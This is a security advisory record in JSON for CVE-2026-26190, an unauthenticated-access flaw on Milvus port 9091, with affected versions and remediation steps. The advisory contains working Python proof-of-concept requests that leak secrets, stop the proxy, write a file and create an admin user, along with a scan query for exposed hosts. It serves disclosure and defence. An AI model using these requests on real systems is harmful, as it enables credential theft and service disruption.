CVE-2026-26190: Milvus Unauthenticated Access To Restful API Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7ppg-37fh-vcr6",
  "modified" : "2026-07-06T15:17:07Z",
  "published" : "2026-02-11T19:49:44Z",
  "aliases" : [ "CVE-2026-26190" ],
  "summary" : "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise",
  "details" : "## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 — `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://<target>:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, 'root')\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service — stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    'param.Save(\"proxy.accessLog.localPath\", \"/tmp\")',\n    'param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")',\n    'param.Save(\"proxy.accessLog.filename\", \"evil.sh\")',\n    'querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")'\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 — Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://<target>:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}\n\n# Create and delete collections, insert data — all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" && port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/milvus-io/milvus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.27"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/milvus-io/milvus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.6.0"
      }, {
        "fixed" : "2.6.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/milvus-io/milvus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/milvus-io/milvus/releases/tag/v2.5.27"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/milvus-io/milvus/releases/tag/v2.6.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188", "CWE-306", "CWE-749" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-11T19:49:44Z",
    "nvd_published_at" : "2026-02-13T19:17:29Z"
  }
}